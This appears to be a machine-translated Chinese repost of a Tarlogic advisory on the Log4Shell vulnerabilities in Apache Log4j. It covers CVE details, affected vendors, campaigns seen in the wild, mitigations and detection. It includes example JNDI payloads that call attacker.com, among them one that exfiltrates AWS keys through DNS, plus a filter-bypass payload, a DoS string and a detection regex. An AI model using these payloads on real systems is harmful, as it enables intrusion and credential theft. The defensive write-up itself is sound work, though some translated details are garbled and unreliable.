Log4shell全貌:影响Log4j的所有漏洞

Log4shell全貌:影响Log4j的所有漏洞

影响Log4j组件的漏洞引发了全球地震。Tarlogic提出了一系列建议,以防止和遏制与Log4Shell相关的威胁

这是过去十年最大的漏洞之一,也许是最大的。Log4Shell的出现给网络安全社区带来了全球性的冲击,以至于今天我们认为IT部门没有人不知道影响Log4j组件的不同漏洞。

这就是为什么Tarlogic Security网络安全团队对该事件进行了详尽的分析。在本文中,我们详细介绍了不同的漏洞,并提供了一系列建议,以防止和遏制来自Log4Shell的可能威胁。

Log4j是什么?

Log4J是由Apache基金会维护的基于Java的开源组件,通常被纳入Java应用程序。它允许在多种服务中记录功能和操作级别的操作可追溯性,即使从安全的角度来看也是如此。

JNDI是什么?

JNDIJava命名和目录接口)是一个应用程序编程接口(API),它提供对命名和目录服务的访问,以引用可以集成到软件基础设施中的对象和数据。作为一个抽象层,它允许支持多种协议,如LDAP、RMI、CORBA等。以下是从甲骨文官方文档中获得的不同类型的服务的JNDI集成模型:

图片[1]-Log4shell全貌:影响Log4j的所有漏洞

起源

11月29日,Log4j项目的Apache事件管理平台记录了有关可能影响使用此组件的应用程序安全性的不同问题的信息。

网址https://issues.apache.org/jira/browse/LOG4J2-3198

网址https://issues.apache.org/jira/browse/LOG4J2-3201

这些信息揭示了利用Log4j项目定义的某些特征及其与JNDI的集成来执行可能导致远程代码执行的不同攻击载体的可能性。

通过在Log4j组件生成的消息上注入专门制作的字符串,可能会严重损害使用该组件的产品的安全性。

最初,org.apache.logging.log4j: log4j-core模块和org.apache.logging.log4j: log4j-api模块都被认为是脆弱的,然而,Apache基金会证实,发现的各种漏洞只影响了log4j-core模块。

漏洞按时间顺序发布

  1. CVE-2021-44228号
  • 发布日期:2021年10月12日(NVD)。
  • 基础得分:10.0(临时)。
  • CVSS 3.1 矢量:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • 受影响的版本:Apache Log4j2 2.0-beta9 a 2.12.1 y 2.13.0 a 2.15.0。

网址https://cve.mitre.org/cgi-bin/cvename.cgi?名字=2021-44228

此漏洞允许可以通过受影响的组件Log4j控制反映在应用程序日志中的数据输入的攻击者可能导致任意代码执行。这种可能性与组件的功能有关,该组件在低于2.15.0的版本中默认激活,以动态替换某些字符串。

开发向量因使用的有效负载和服务提供商的类型而异。虽然最普遍的是LDAP,但利用载体也得到了证明,例如通过RMI。从这个意义上说,一些最常见的有效负载如下:

${jndi:ldaps://attacker.com/exploit}

${jndi:rmi://attacker.com/exploit}

对这些有效负载的评估将触发与外部服务的连接,该服务可以托管由应用程序执行的恶意代码。

应该注意的是,也可以使用DNS服务提供商。在这种情况下,有效负载本身不允许代码执行,它可以被利用来识别易受攻击的应用程序,以及泄露存储敏感信息的可能环境变量。

这种敏感信息的一个例子可能是集成在应用程序中的平台的API密钥,例如来自AWS、Azure或Google Cloud的云服务。

${jndi:dns://${env:AWS_ACCESS_KEY_ID}.${env:AWS_SECRET_ACCESS_KEY}.attacker.com}

2.CVE-2021-45046号

  • 发布日期:2021年12月14日
  • 基础得分:9.0(Crítica)
  • 矢量CVSS 3.1:CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
  • 受影响的版本:2.0.1 – 2.12.2(不包括)y 2.13.0 – 2.16.0(不包括)

网址https://cve.mitre.org/cgi-bin/cvename.cgi?名称=CVE-2021-45046

最初被分配为CVSS得分3.7(低风险)。

图片[2]-Log4shell全貌:影响Log4j的所有漏洞

网址:https://web.archive.org/web/20211217105731/https://nvd.nist.gov/vuln/detail/CVE-2021-45046

然而,几天来,事实证明,在某些环境中,远程代码执行仍然是可能的,以及来自可能包含敏感信息的服务器环境变量的信息的披露。出于这个原因,其临界级被提高到9.0。

图片[3]-Log4shell全貌:影响Log4j的所有漏洞

以下有效负载允许在更新组件后规避Apache定义的缓解措施:

${jndi:ldap://127.0.0.1#attacker.com/exploit}

Log4j版本2.16.0(Java 8)和2.12.2(Java 7)通过默认禁用JNDI和消息搜索模式功能来修复此漏洞。

3.CVE-2021-45105号

  • 发布日期:2021年12月14日
  • 基础分:7.5(高)
  • CVSS 3.1 矢量:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  • 受影响的版本:Log4j2版本2.0-alpha1 hasta 2.16.0(包括在内)。

在使用递归解析的日志跟踪配置的情况下,可能会生成StackOverflow异常,该异常可能导致易受攻击的应用程序进程终止,从而导致拒绝服务(DoS)漏洞。

允许重现此漏洞的有效负载示例如下:

${${::-${::-$${::-j}}}}

Log4j版本2.17.0和2.12.3中修复了此漏洞。

Log4shell缓解措施

尽管Apache基金会提出了几个变通办法,以降低利用此漏洞的风险,但被认为真正有效的主要解决方案是将Log4j组件更新到当前可用的最新版本。Log4j版本2.17.0(Java 8)和2.12.3(Java 7)。

Apache发布的解决方法

对于无法应用推荐的主升级解决方案(作为额外的防御深度措施)的情况,有可能执行Apache发布的以下变通办法。

对于Log4J版本2.10.0及更高版本:

  • Dlog4j2.formatMsgNoLookups=true以禁用变量外推。
  • 设置LOG4J_FORMAT_MSG_NO_LOOKUPS=true环境变量以实现上述行为。
  • 注意:在一些特定的非默认情况下,远程代码执行的可能性仍然存在。

-对于所有版本:

  • 从jar中删除JNDILookup类,并重新打包jar和应用程序(必须评估此解决方案,因为它可能会影响应用程序的可用性)。

find ./ -type f -name “log4j-core-*.jar” -exec zip -q -d “{}” org/apache/logging/log4j/core/lookup/JndiLookup.class \;

Java版本中的情感

在更新版本(Java 11.0.2或更高版本或Java 8u192)中,从外部资源注入任意类被禁用。

这使得攻击者难以利用。然而,事实证明,一方面,仍然有可能强制外部服务器进行DNS解析,这可用于从系统变量中泄露敏感信息,并导致潜在的拒绝服务。

另一方面,还检测到了通过“小工具链”技术继续根据应用程序类路径中可用的类实现远程代码执行的可能性。虽然实现这种开发的复杂性要高得多,但它仍然是可能的。

出于这个原因,被认为有效的主要缓解途径是将Log4j更新到最新版本,目前是2.17.0和2.12.3

受影响的软件

应该指出的是,许多开源和商业解决方案都受到了此漏洞的影响,并且已经发布或正在发布相应的补丁。谷歌进行的研究表明,中央Maven存储库中8%的软件包受到了此漏洞的影响。

网址https://security.googleblog.com/2021/12/understanding-impact-of-apache-log4j.html

要了解这种漏洞可能产生的影响的严重性,只需要查看全球许多制造商和服务提供商的咨询出版物。这里有一份简短的清单(还在继续增长)。

  • 苹果
  • 英特尔
  • 亚马逊
  • 甲骨文
  • VMWare软件
  • IBM
  • Cisco
  • 红帽
  • 阿特拉斯人
  • BMC公司
  • 福蒂尼特
  • F5
  • 迈克菲
  • Twitter
  • 百度
  • 特斯拉
  • 帕洛阿尔托
  • 声波墙
  • 太阳风

此外,大量开源和商业解决方案也受到影响,如下所示:

大多数在基础设施中使用Java的应用程序:

  • 阿帕奇支柱
  • 阿帕奇支柱2
  • 阿帕奇汤姆卡特
  • 阿帕奇火花
  • 阿帕奇·索尔
  • 阿帕奇卡夫卡
  • 弹性搜索
  • 长笛
  • 日志藏匿
  • IBM Qradar SIEM
  • 网络应用程序
  • 脉冲安全

这种情况凸显了这一组成部分的广泛整合。这个模块的集成很常见,甚至美国宇航局的Ingenuity直升机也使用Log4j

图片[4]-Log4shell全貌:影响Log4j的所有漏洞

由于漏洞的性质、无处不在以及一些受影响环境中修补的复杂性,所有组织必须尽快评估其潜在暴露。

鉴于易受攻击的产品大量,我们在下面链接了由荷兰国家网络安全中心汇编的受影响软件清单:

网址https://github.com/NCSC-NL/log4shell/blob/main/software/README.md

积极的剥削

正如在其他场合已经发生的那样,微软情报中心(MSTIC)已经检测到敌对行为者对这一漏洞的利用,特别强调这些来自中国、伊朗、韩国的团体的活动。北方和土耳其。

具体来说,他们已经确定了HAFNIUM,一个在中国境外活动的威胁行为者,利用漏洞攻击虚拟化基础设施来扩展其目标。

https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/

Log4shell勒索软件活动

没有必要等待很长时间才能看到这个漏洞被纳入勒索软件感染的攻击载体。尽管大多数攻击针对Linux系统,但Bitdenfender已经确定了恶意行为者在Windows环境中部署属于Khonsari家族的勒索软件的活动。

https://businessinsights.bitdefender.com/technical-advisory-zero-day-critical-vulnerability-in-log4j2-exploited-in-the-wild

网址:https://www.virustotal.com/gui/file/f2e3f685256e5f31b05fc9f9ca470f527d7fdae28fa3190c8eba179473e20789

此外,微软的情报运营中心观察到PHOSPHORUS,一个伊朗行为者,他一直在通过修改Log4j漏洞来实施勒索软件。

僵尸网络和Log4shell

已经确定了与僵尸网络(Mirai和Muhstik)相关的不同行为者利用此漏洞来影响系统并扩展其基础设施。

https://blog.netlab.360.com/threat-alert-log4j-vulnerability-has-been-adopted-by-two-linux-botnets/

矿工和Log4shell

如果这还不够,还确定了为执行XMRIG挖掘软件部署脚本的不同行为者。

似曾相识/学到的教训。

鉴于大量常用软件组件被广泛接受,预计这种情况在不远的将来不会再次发生。出于同样的原因,我们从Tarlogic提供了一系列一般性建议,试图优化解决方案对类似和特定场景的应用,如log4shell的情况。

预测未来可能情况的关键。

应对此类挑战的唯一方法是遵循深度防御安全方法。下面,我们提供了不同的措施,以预测和快速处理可能发生的事件,如已经发生的事件。

1.资产库存

为了确定漏洞可能对组织技术基础设施产生的可能影响,完全有必要更新资产清单。

从这个意义上说,为了评估此类情况下的暴露程度和潜在风险,第一手了解软件项目中包含的依赖关系很有意思,特别是在互联网上发布的平台上。

在此特定情况下,该漏洞会影响部署在生产应用程序中的软件,以及部署在组织中工人工作站甚至嵌入式系统上的日常应用程序。

2.周边安全

在公开曝光的情况下,作为深度防御措施,强烈建议使用主动检测系统,如防火墙、WAF(Web应用程序防火墙)或IPS(入侵防御系统)系统,允许阻止攻击性输入模式。虽然最初可能没有利用新漏洞的具体规则,但制造商在积极主动地生成和更新新规则时,因此尽快更新这些类型的系统很重要。

在许多情况下,这些措施的应用,尽管不是最终的解决方案,但通常比对基础设施组件的软件更新更直接地进行,因此它们作为一线防御非常有用,并为应用特定更新提供额外的时间余地。

例如,log4shell的案例导致了3个漏洞,对其他可能的攻击载体的调查仍在进行中。了解公司平台执行的通信和协议类型并限制任何类型的最初意外流量是有趣的。

3.持续监控

为了检测企图或成功利用公司基础设施系统上的漏洞,有必要对恶意活动具有可追溯性,以便对事件做出反应,或对可能影响组织系统的潜在威胁有更大的可见性。

4.反应

如果一个组织是成功利用漏洞的受害者,则有必要激活之前定义的事件响应协议,以遏制外部恶意行为者的恶意活动。这些任务包括识别受影响的系统、限制任何类型的横向移动和基础设施的卫生。

5.更新

我们知道,根据公司的能力和成熟度,企业平台或系统的更新任务可能很困难。从开发团队和系统管理部门的角度来看,这些类型的活动可以包括影响组织不同部门的任务。

从开发团队的角度来看,采用CI/CD范式特别令人感兴趣,这些范式允许在已部署的平台上优先应用相应更新。考虑到系统管理团队的指导,在易受攻击版本的应用程序清单上拥有扫描工具是有用的,以便能够优先在受影响产品上应用安全更新。

此时的总体方法是从DEVSEC OPS的角度出发。

西班牙语:https://www.redhat.com/es/topics/devops/what-is-devsecops

英语:https://www.redhat.com/en/topics/devops/what-is-devsecops

Log4shell的具体建议

下面我们详细介绍了一套措施,以减轻可能利用此漏洞:

检测工具

  • Snyk CLI – 它允许识别易受攻击组件的依赖性。

网址https://snyk.io/blog/log4shell-remediation-cheat-sheet/

检测剥削企图的措施

为了分析利用基础设施的尝试,建议搜索包含字符序列“jndi”和包含“ldap”、“rmi”、“ldaps”或“dns”的字符串组合的事件,这些字符串由HTTP/s请求生成,这些字符串对应于可能的log4j利用模式。

为此,您可以创建正则表达式,试图在注入上下文中识别这些字符串,在许多情况下,这些字符串包括试图混淆原始有效负载的向量。检测字符串$ {jdni:的正则表达式示例如下:

(?I)(\$|\%24)({|\%7b).j.n.d.i.*(\:|\%3a)

必须考虑到,使用的正则表达式不会检测到所有变化,并可能产生假阳性。

参考文献:

https://cloud.google.com/blog/products/identity-security/recommendations-for-apache-log4j2-vulnerability

网址https://snyk.io/blog/log4j-vulnerability-software-supply-chain-security-log4shell/

妥协指标(IOCs)

不同的实体编制了包含IP地址的IOC清单,这些IP地址已被识别出恶意活动,以及相应的有效负载。

下面列出了其中一些。

云基础设施的缓解建议

此外,不同的云服务提供商发布了一系列针对不同Log4j漏洞的缓解指南。

微软Azure

微软服务的缓解指南
Azure应用程序服务(Windows、Linux和容器)
Azure应用程序网关、Azure前门和Azure WAF
Azure功能
Azure HDInsights
Azure Spring云
微软Azure AD
安全操作和猎人的信息

谷歌云

亚马逊AWS

• AWS安全服务用于保护和响应log4j漏洞 – – https://aws.amazon.com/es/blogs/security/using-aws-security-services-to-protect-against-detect-and-respond-to-the-log4j-vulnerability/

该指南详细介绍了如何使用:

  • AWS Web应用程序防火墙及其保护不同服务的托管规则。
  • AWS网络防火墙用于部署符合Suricata的IDS/IPS检测规则。
  • 亚马逊检查员用于识别亚马逊EC2和ECR实例上的易受性组件
  • AWS补丁管理器用于管理EC2实例的升级
  • AWS GuardDuty根据检测到的可疑行为来检测漏洞利用的迹象。
  • AWS CloudWatch用于检测与利用Log4Shell相关的VPC流量日志。

结论

Log4Shell漏洞显示,任何软件组件都可能意外地对我们的应用程序带来重大影响风险。虽然使用第三方库和组件来优化软件开发非常普遍,但这些资源中出现安全问题可能会导致需要快速响应的全球风险。

Tarlogic,从发现该漏洞的第一时间起,我们就一直在与客户合作,为减轻和遏制任何类型的威胁贡献了我们的知识.

© 版权声明
THE END
喜欢就支持一下吧
点赞5 分享